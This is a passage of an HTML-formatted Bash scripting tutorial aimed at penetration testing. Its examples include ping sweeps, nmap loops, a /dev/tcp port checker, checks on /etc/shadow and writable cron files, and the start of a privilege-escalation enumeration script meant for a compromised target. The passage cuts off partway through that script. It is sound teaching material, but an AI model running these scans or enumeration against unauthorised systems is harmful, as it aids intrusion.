&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;"Home: &lt;/span&gt;&lt;span class="nv"&gt;$HOME&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt;
&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;"Path: &lt;/span&gt;&lt;span class="nv"&gt;$PATH&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt;
&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;"User: &lt;/span&gt;&lt;span class="nv"&gt;$USER&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt;
&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;"Shell: &lt;/span&gt;&lt;span class="nv"&gt;$SHELL&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt;

&lt;span class="c"&gt;# Read-only variables&lt;/span&gt;
&lt;span class="nb"&gt;readonly &lt;/span&gt;&lt;span class="nv"&gt;MAX_RETRIES&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;3

&lt;span class="c"&gt;# Unset variable&lt;/span&gt;
&lt;span class="nb"&gt;unset &lt;/span&gt;name
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  10.4 Conditionals
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;#!/bin/bash&lt;/span&gt;

&lt;span class="c"&gt;# Basic if/else&lt;/span&gt;
&lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="o"&gt;[&lt;/span&gt; condition &lt;span class="o"&gt;]&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="k"&gt;then
    &lt;/span&gt;commands
&lt;span class="k"&gt;elif&lt;/span&gt; &lt;span class="o"&gt;[&lt;/span&gt; other_condition &lt;span class="o"&gt;]&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="k"&gt;then
    &lt;/span&gt;commands
&lt;span class="k"&gt;else
    &lt;/span&gt;commands
&lt;span class="k"&gt;fi&lt;/span&gt;

&lt;span class="c"&gt;# File tests&lt;/span&gt;
&lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="o"&gt;[&lt;/span&gt; &lt;span class="nt"&gt;-f&lt;/span&gt; &lt;span class="s2"&gt;"/etc/passwd"&lt;/span&gt; &lt;span class="o"&gt;]&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="k"&gt;then
    &lt;/span&gt;&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;"File exists"&lt;/span&gt;
&lt;span class="k"&gt;fi

if&lt;/span&gt; &lt;span class="o"&gt;[&lt;/span&gt; &lt;span class="nt"&gt;-d&lt;/span&gt; &lt;span class="s2"&gt;"/tmp"&lt;/span&gt; &lt;span class="o"&gt;]&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="k"&gt;then
    &lt;/span&gt;&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;"Directory exists"&lt;/span&gt;
&lt;span class="k"&gt;fi

if&lt;/span&gt; &lt;span class="o"&gt;[&lt;/span&gt; &lt;span class="nt"&gt;-r&lt;/span&gt; &lt;span class="s2"&gt;"/etc/shadow"&lt;/span&gt; &lt;span class="o"&gt;]&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="k"&gt;then
    &lt;/span&gt;&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;"Shadow file is readable — you have root!"&lt;/span&gt;
&lt;span class="k"&gt;fi&lt;/span&gt;

&lt;span class="c"&gt;# File test operators:&lt;/span&gt;
&lt;span class="c"&gt;# -f  → file exists and is regular file&lt;/span&gt;
&lt;span class="c"&gt;# -d  → directory exists&lt;/span&gt;
&lt;span class="c"&gt;# -e  → file/directory exists&lt;/span&gt;
&lt;span class="c"&gt;# -r  → readable&lt;/span&gt;
&lt;span class="c"&gt;# -w  → writable&lt;/span&gt;
&lt;span class="c"&gt;# -x  → executable&lt;/span&gt;
&lt;span class="c"&gt;# -s  → file exists and is non-empty&lt;/span&gt;
&lt;span class="c"&gt;# -L  → symlink&lt;/span&gt;

&lt;span class="c"&gt;# String comparisons&lt;/span&gt;
&lt;span class="nv"&gt;name&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s2"&gt;"root"&lt;/span&gt;
&lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="o"&gt;[&lt;/span&gt; &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="nv"&gt;$name&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s2"&gt;"root"&lt;/span&gt; &lt;span class="o"&gt;]&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="k"&gt;then&lt;/span&gt;       &lt;span class="c"&gt;# = for strings&lt;/span&gt;
    &lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;"Running as root"&lt;/span&gt;
&lt;span class="k"&gt;fi

if&lt;/span&gt; &lt;span class="o"&gt;[&lt;/span&gt; &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="nv"&gt;$name&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt; &lt;span class="o"&gt;!=&lt;/span&gt; &lt;span class="s2"&gt;"nobody"&lt;/span&gt; &lt;span class="o"&gt;]&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="k"&gt;then
    &lt;/span&gt;&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;"Not running as nobody"&lt;/span&gt;
&lt;span class="k"&gt;fi

if&lt;/span&gt; &lt;span class="o"&gt;[&lt;/span&gt; &lt;span class="nt"&gt;-z&lt;/span&gt; &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="nv"&gt;$variable&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt; &lt;span class="o"&gt;]&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="k"&gt;then&lt;/span&gt;         &lt;span class="c"&gt;# -z = empty string&lt;/span&gt;
    &lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;"Variable is empty"&lt;/span&gt;
&lt;span class="k"&gt;fi

if&lt;/span&gt; &lt;span class="o"&gt;[&lt;/span&gt; &lt;span class="nt"&gt;-n&lt;/span&gt; &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="nv"&gt;$variable&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt; &lt;span class="o"&gt;]&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="k"&gt;then&lt;/span&gt;         &lt;span class="c"&gt;# -n = non-empty string&lt;/span&gt;
    &lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;"Variable has content"&lt;/span&gt;
&lt;span class="k"&gt;fi&lt;/span&gt;

&lt;span class="c"&gt;# Numeric comparisons (use -eq, -ne, -lt, -gt, -le, -ge)&lt;/span&gt;
&lt;span class="nv"&gt;port&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;22
&lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="o"&gt;[&lt;/span&gt; &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="nv"&gt;$port&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt; &lt;span class="nt"&gt;-eq&lt;/span&gt; 22 &lt;span class="o"&gt;]&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="k"&gt;then
    &lt;/span&gt;&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;"SSH port"&lt;/span&gt;
&lt;span class="k"&gt;fi

if&lt;/span&gt; &lt;span class="o"&gt;[&lt;/span&gt; &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="nv"&gt;$port&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt; &lt;span class="nt"&gt;-lt&lt;/span&gt; 1024 &lt;span class="o"&gt;]&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="k"&gt;then
    &lt;/span&gt;&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;"Privileged port"&lt;/span&gt;
&lt;span class="k"&gt;fi&lt;/span&gt;

&lt;span class="c"&gt;# Combining conditions&lt;/span&gt;
&lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="o"&gt;[&lt;/span&gt; &lt;span class="nt"&gt;-f&lt;/span&gt; &lt;span class="s2"&gt;"/etc/cron.d/job"&lt;/span&gt; &lt;span class="o"&gt;]&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&amp;amp;&lt;/span&gt; &lt;span class="o"&gt;[&lt;/span&gt; &lt;span class="nt"&gt;-w&lt;/span&gt; &lt;span class="s2"&gt;"/etc/cron.d/job"&lt;/span&gt; &lt;span class="o"&gt;]&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="k"&gt;then
    &lt;/span&gt;&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;"Cron job file is writable — potential privesc!"&lt;/span&gt;
&lt;span class="k"&gt;fi

if&lt;/span&gt; &lt;span class="o"&gt;[&lt;/span&gt; &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="nv"&gt;$USER&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s2"&gt;"root"&lt;/span&gt; &lt;span class="o"&gt;]&lt;/span&gt; &lt;span class="o"&gt;||&lt;/span&gt; &lt;span class="o"&gt;[&lt;/span&gt; &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="nv"&gt;$USER&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s2"&gt;"admin"&lt;/span&gt; &lt;span class="o"&gt;]&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="k"&gt;then
    &lt;/span&gt;&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;"Elevated user"&lt;/span&gt;
&lt;span class="k"&gt;fi&lt;/span&gt;

&lt;span class="c"&gt;# Modern syntax with [[ ]] (bash-specific, more powerful)&lt;/span&gt;
&lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="o"&gt;[[&lt;/span&gt; &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="nv"&gt;$string&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt; &lt;span class="o"&gt;==&lt;/span&gt; &lt;span class="k"&gt;*&lt;/span&gt;&lt;span class="s2"&gt;"password"&lt;/span&gt;&lt;span class="k"&gt;*&lt;/span&gt; &lt;span class="o"&gt;]]&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="k"&gt;then&lt;/span&gt;    &lt;span class="c"&gt;# Glob matching&lt;/span&gt;
    &lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;"Contains password"&lt;/span&gt;
&lt;span class="k"&gt;fi

if&lt;/span&gt; &lt;span class="o"&gt;[[&lt;/span&gt; &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="nv"&gt;$string&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt;~ ^[0-9]+&lt;span class="nv"&gt;$ &lt;/span&gt;&lt;span class="o"&gt;]]&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="k"&gt;then&lt;/span&gt;       &lt;span class="c"&gt;# Regex matching&lt;/span&gt;
    &lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;"String is a number"&lt;/span&gt;
&lt;span class="k"&gt;fi&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  10.5 Loops
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;#!/bin/bash&lt;/span&gt;

&lt;span class="c"&gt;# For loop over a list&lt;/span&gt;
&lt;span class="k"&gt;for &lt;/span&gt;host &lt;span class="k"&gt;in &lt;/span&gt;192.168.1.1 192.168.1.2 192.168.1.3&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="k"&gt;do
    &lt;/span&gt;ping &lt;span class="nt"&gt;-c&lt;/span&gt; 1 &lt;span class="nt"&gt;-W&lt;/span&gt; 1 &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="nv"&gt;$host&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt; &amp;amp;&amp;gt;/dev/null &lt;span class="o"&gt;&amp;amp;&amp;amp;&lt;/span&gt; &lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="nv"&gt;$host&lt;/span&gt;&lt;span class="s2"&gt; is up"&lt;/span&gt; &lt;span class="o"&gt;||&lt;/span&gt; &lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="nv"&gt;$host&lt;/span&gt;&lt;span class="s2"&gt; is down"&lt;/span&gt;
&lt;span class="k"&gt;done&lt;/span&gt;

&lt;span class="c"&gt;# For loop with range&lt;/span&gt;
&lt;span class="k"&gt;for &lt;/span&gt;i &lt;span class="k"&gt;in&lt;/span&gt; &lt;span class="o"&gt;{&lt;/span&gt;1..254&lt;span class="o"&gt;}&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="k"&gt;do
    &lt;/span&gt;ping &lt;span class="nt"&gt;-c&lt;/span&gt; 1 &lt;span class="nt"&gt;-W&lt;/span&gt; 1 &lt;span class="s2"&gt;"192.168.1.&lt;/span&gt;&lt;span class="nv"&gt;$i&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt; &amp;amp;&amp;gt;/dev/null &lt;span class="o"&gt;&amp;amp;&amp;amp;&lt;/span&gt; &lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;"192.168.1.&lt;/span&gt;&lt;span class="nv"&gt;$i&lt;/span&gt;&lt;span class="s2"&gt; is up"&lt;/span&gt; &amp;amp;
&lt;span class="k"&gt;done
&lt;/span&gt;&lt;span class="nb"&gt;wait&lt;/span&gt;  &lt;span class="c"&gt;# Wait for all background pings to complete&lt;/span&gt;

&lt;span class="c"&gt;# C-style for loop&lt;/span&gt;
&lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="o"&gt;((&lt;/span&gt;&lt;span class="nv"&gt;i&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;0&lt;span class="p"&gt;;&lt;/span&gt; i&amp;lt;10&lt;span class="p"&gt;;&lt;/span&gt; i++&lt;span class="o"&gt;))&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="k"&gt;do
    &lt;/span&gt;&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;"Iteration &lt;/span&gt;&lt;span class="nv"&gt;$i&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt;
&lt;span class="k"&gt;done&lt;/span&gt;

&lt;span class="c"&gt;# For loop over files&lt;/span&gt;
&lt;span class="k"&gt;for &lt;/span&gt;file &lt;span class="k"&gt;in&lt;/span&gt; /tmp/&lt;span class="k"&gt;*&lt;/span&gt;.sh&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="k"&gt;do
    &lt;/span&gt;&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;"Found script: &lt;/span&gt;&lt;span class="nv"&gt;$file&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt;
    &lt;span class="nb"&gt;ls&lt;/span&gt; &lt;span class="nt"&gt;-la&lt;/span&gt; &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="nv"&gt;$file&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt;
&lt;span class="k"&gt;done&lt;/span&gt;

&lt;span class="c"&gt;# For loop over command output&lt;/span&gt;
&lt;span class="k"&gt;for &lt;/span&gt;user &lt;span class="k"&gt;in&lt;/span&gt; &lt;span class="si"&gt;$(&lt;/span&gt;&lt;span class="nb"&gt;cut&lt;/span&gt; &lt;span class="nt"&gt;-d&lt;/span&gt;: &lt;span class="nt"&gt;-f1&lt;/span&gt; /etc/passwd&lt;span class="si"&gt;)&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="k"&gt;do
    &lt;/span&gt;&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;"User: &lt;/span&gt;&lt;span class="nv"&gt;$user&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt;
&lt;span class="k"&gt;done&lt;/span&gt;

&lt;span class="c"&gt;# While loop&lt;/span&gt;
&lt;span class="nv"&gt;counter&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;0
&lt;span class="k"&gt;while&lt;/span&gt; &lt;span class="o"&gt;[&lt;/span&gt; &lt;span class="nv"&gt;$counter&lt;/span&gt; &lt;span class="nt"&gt;-lt&lt;/span&gt; 5 &lt;span class="o"&gt;]&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="k"&gt;do
    &lt;/span&gt;&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;"Counter: &lt;/span&gt;&lt;span class="nv"&gt;$counter&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt;
    &lt;span class="o"&gt;((&lt;/span&gt;counter++&lt;span class="o"&gt;))&lt;/span&gt;
&lt;span class="k"&gt;done&lt;/span&gt;

&lt;span class="c"&gt;# Read lines from file&lt;/span&gt;
&lt;span class="k"&gt;while &lt;/span&gt;&lt;span class="nv"&gt;IFS&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nb"&gt;read&lt;/span&gt; &lt;span class="nt"&gt;-r&lt;/span&gt; line&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="k"&gt;do
    &lt;/span&gt;&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;"Line: &lt;/span&gt;&lt;span class="nv"&gt;$line&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt;
&lt;span class="k"&gt;done&lt;/span&gt; &amp;lt; /etc/hosts

&lt;span class="c"&gt;# Read from command output&lt;/span&gt;
&lt;span class="k"&gt;while &lt;/span&gt;&lt;span class="nv"&gt;IFS&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nb"&gt;read&lt;/span&gt; &lt;span class="nt"&gt;-r&lt;/span&gt; ip&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="k"&gt;do
    &lt;/span&gt;nmap &lt;span class="nt"&gt;-p&lt;/span&gt; 80 &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="nv"&gt;$ip&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt; &lt;span class="nt"&gt;--open&lt;/span&gt; &lt;span class="nt"&gt;-q&lt;/span&gt;
&lt;span class="k"&gt;done&lt;/span&gt; &amp;lt; ip_list.txt

&lt;span class="c"&gt;# Until loop (runs until condition is true)&lt;/span&gt;
&lt;span class="k"&gt;until&lt;/span&gt; &lt;span class="o"&gt;[&lt;/span&gt; &lt;span class="nt"&gt;-f&lt;/span&gt; &lt;span class="s2"&gt;"/tmp/done.flag"&lt;/span&gt; &lt;span class="o"&gt;]&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="k"&gt;do
    &lt;/span&gt;&lt;span class="nb"&gt;sleep &lt;/span&gt;5
    &lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;"Waiting..."&lt;/span&gt;
&lt;span class="k"&gt;done&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  10.6 Functions
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;#!/bin/bash&lt;/span&gt;

&lt;span class="c"&gt;# Define a function&lt;/span&gt;
check_port&lt;span class="o"&gt;()&lt;/span&gt; &lt;span class="o"&gt;{&lt;/span&gt;
    &lt;span class="nb"&gt;local &lt;/span&gt;&lt;span class="nv"&gt;host&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="nv"&gt;$1&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt;      &lt;span class="c"&gt;# local = function-scoped variable&lt;/span&gt;
    &lt;span class="nb"&gt;local &lt;/span&gt;&lt;span class="nv"&gt;port&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="nv"&gt;$2&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt;

    &lt;span class="k"&gt;if &lt;/span&gt;&lt;span class="nb"&gt;timeout &lt;/span&gt;1 bash &lt;span class="nt"&gt;-c&lt;/span&gt; &lt;span class="s2"&gt;"echo &amp;gt;/dev/tcp/&lt;/span&gt;&lt;span class="nv"&gt;$host&lt;/span&gt;&lt;span class="s2"&gt;/&lt;/span&gt;&lt;span class="nv"&gt;$port&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt; 2&amp;gt;/dev/null&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="k"&gt;then
        &lt;/span&gt;&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;"[OPEN] &lt;/span&gt;&lt;span class="nv"&gt;$host&lt;/span&gt;&lt;span class="s2"&gt;:&lt;/span&gt;&lt;span class="nv"&gt;$port&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt;
        &lt;span class="k"&gt;return &lt;/span&gt;0         &lt;span class="c"&gt;# Success&lt;/span&gt;
    &lt;span class="k"&gt;else
        &lt;/span&gt;&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;"[CLOSED] &lt;/span&gt;&lt;span class="nv"&gt;$host&lt;/span&gt;&lt;span class="s2"&gt;:&lt;/span&gt;&lt;span class="nv"&gt;$port&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt;
        &lt;span class="k"&gt;return &lt;/span&gt;1         &lt;span class="c"&gt;# Failure&lt;/span&gt;
    &lt;span class="k"&gt;fi&lt;/span&gt;
&lt;span class="o"&gt;}&lt;/span&gt;

&lt;span class="c"&gt;# Call the function&lt;/span&gt;
check_port &lt;span class="s2"&gt;"192.168.1.1"&lt;/span&gt; 22
check_port &lt;span class="s2"&gt;"192.168.1.1"&lt;/span&gt; 80

&lt;span class="c"&gt;# Function with return value (via echo, not return)&lt;/span&gt;
get_ip&lt;span class="o"&gt;()&lt;/span&gt; &lt;span class="o"&gt;{&lt;/span&gt;
    &lt;span class="nb"&gt;local hostname&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="nv"&gt;$1&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt;
    nslookup &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="nv"&gt;$hostname&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt; | &lt;span class="nb"&gt;grep&lt;/span&gt; &lt;span class="s2"&gt;"Address:"&lt;/span&gt; | &lt;span class="nb"&gt;tail&lt;/span&gt; &lt;span class="nt"&gt;-1&lt;/span&gt; | &lt;span class="nb"&gt;awk&lt;/span&gt; &lt;span class="s1"&gt;'{print $2}'&lt;/span&gt;
&lt;span class="o"&gt;}&lt;/span&gt;

&lt;span class="nv"&gt;ip&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="si"&gt;$(&lt;/span&gt;get_ip &lt;span class="s2"&gt;"google.com"&lt;/span&gt;&lt;span class="si"&gt;)&lt;/span&gt;
&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;"Google IP: &lt;/span&gt;&lt;span class="nv"&gt;$ip&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  10.7 A Complete Security Script Example
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;#!/bin/bash&lt;/span&gt;
&lt;span class="c"&gt;# Linux Local Privilege Escalation Checker — Educational Example&lt;/span&gt;
&lt;span class="c"&gt;# Run on a target after gaining initial foothold&lt;/span&gt;

&lt;span class="nv"&gt;RED&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s1"&gt;'\033[0;31m'&lt;/span&gt;
&lt;span class="nv"&gt;GREEN&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s1"&gt;'\033[0;32m'&lt;/span&gt;
&lt;span class="nv"&gt;YELLOW&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s1"&gt;'\033[1;33m'&lt;/span&gt;
&lt;span class="nv"&gt;NC&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s1"&gt;'\033[0m'&lt;/span&gt;  &lt;span class="c"&gt;# No colour&lt;/span&gt;

header&lt;span class="o"&gt;()&lt;/span&gt; &lt;span class="o"&gt;{&lt;/span&gt;
    &lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="nt"&gt;-e&lt;/span&gt; &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="se"&gt;\n&lt;/span&gt;&lt;span class="k"&gt;${&lt;/span&gt;&lt;span class="nv"&gt;YELLOW&lt;/span&gt;&lt;span class="k"&gt;}&lt;/span&gt;&lt;span class="s2"&gt;=== &lt;/span&gt;&lt;span class="nv"&gt;$1&lt;/span&gt;&lt;span class="s2"&gt; ===&lt;/span&gt;&lt;span class="k"&gt;${&lt;/span&gt;&lt;span class="nv"&gt;NC&lt;/span&gt;&lt;span class="k"&gt;}&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt;
&lt;span class="o"&gt;}&lt;/span&gt;

found&lt;span class="o"&gt;()&lt;/span&gt; &lt;span class="o"&gt;{&lt;/span&gt;
    &lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="nt"&gt;-e&lt;/span&gt; &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="k"&gt;${&lt;/span&gt;&lt;span class="nv"&gt;RED&lt;/span&gt;&lt;span class="k"&gt;}&lt;/span&gt;&lt;span class="s2"&gt;[!] POTENTIAL: &lt;/span&gt;&lt;span class="nv"&gt;$1&lt;/span&gt;&lt;span class="k"&gt;${&lt;/span&gt;&lt;span class="nv"&gt;NC&lt;/span&gt;&lt;span class="k"&gt;}&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt;
&lt;span class="o"&gt;}&lt;/span&gt;

info&lt;span class="o"&gt;()&lt;/span&gt; &lt;span class="o"&gt;{&lt;/span&gt;
    &lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="nt"&gt;-e&lt;/span&gt; &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="k"&gt;${&lt;/span&gt;&lt;span class="nv"&gt;GREEN&lt;/span&gt;&lt;span class="k"&gt;}&lt;/span&gt;&lt;span class="s2"&gt;[*] &lt;/span&gt;&lt;span class="nv"&gt;$1&lt;/span&gt;&lt;span class="k"&gt;${&lt;/span&gt;&lt;span class="nv"&gt;NC&lt;/span&gt;&lt;span class="k"&gt;}&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt;
&lt;span class="o"&gt;}&lt;/span&gt;

header &lt;span class="s2"&gt;"Current User"&lt;/span&gt;
&lt;span class="nb"&gt;id
whoami

&lt;/span&gt;header &lt;span class="s2"&gt;"Sudo Privileges"&lt;/span&gt;
&lt;span class="nb"&gt;sudo&lt;/span&gt; &lt;span class="nt"&gt;-l&lt;/span&gt; 2&amp;gt;/dev/null &lt;span class="o"&gt;&amp;amp;&amp;amp;&lt;/span&gt; found &lt;span class="s2"&gt;"Check sudo entries against GTFOBins"&lt;/span&gt;

header &lt;span class="s2"&gt;"SUID Binaries"&lt;/span&gt;
find / &lt;span class="nt"&gt;-perm&lt;/span&gt; &lt;span class="nt"&gt;-4000&lt;/span&gt; &lt;span class="nt"&gt;-type&lt;/span&gt; f 2&amp;gt;/dev/null | &lt;span class="k"&gt;while &lt;/span&gt;&lt;span class="nb"&gt;read&lt;/span&gt; &lt;span class="nt"&gt;-r&lt;/span&gt; binary&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="k"&gt;do
    &lt;/span&gt;&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="nv"&gt;$binary&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt;
&lt;span class="k"&gt;done

&lt;/span&gt;header &lt;span class="s2"&gt;"Writable Cron Jobs"&lt;/span&gt;
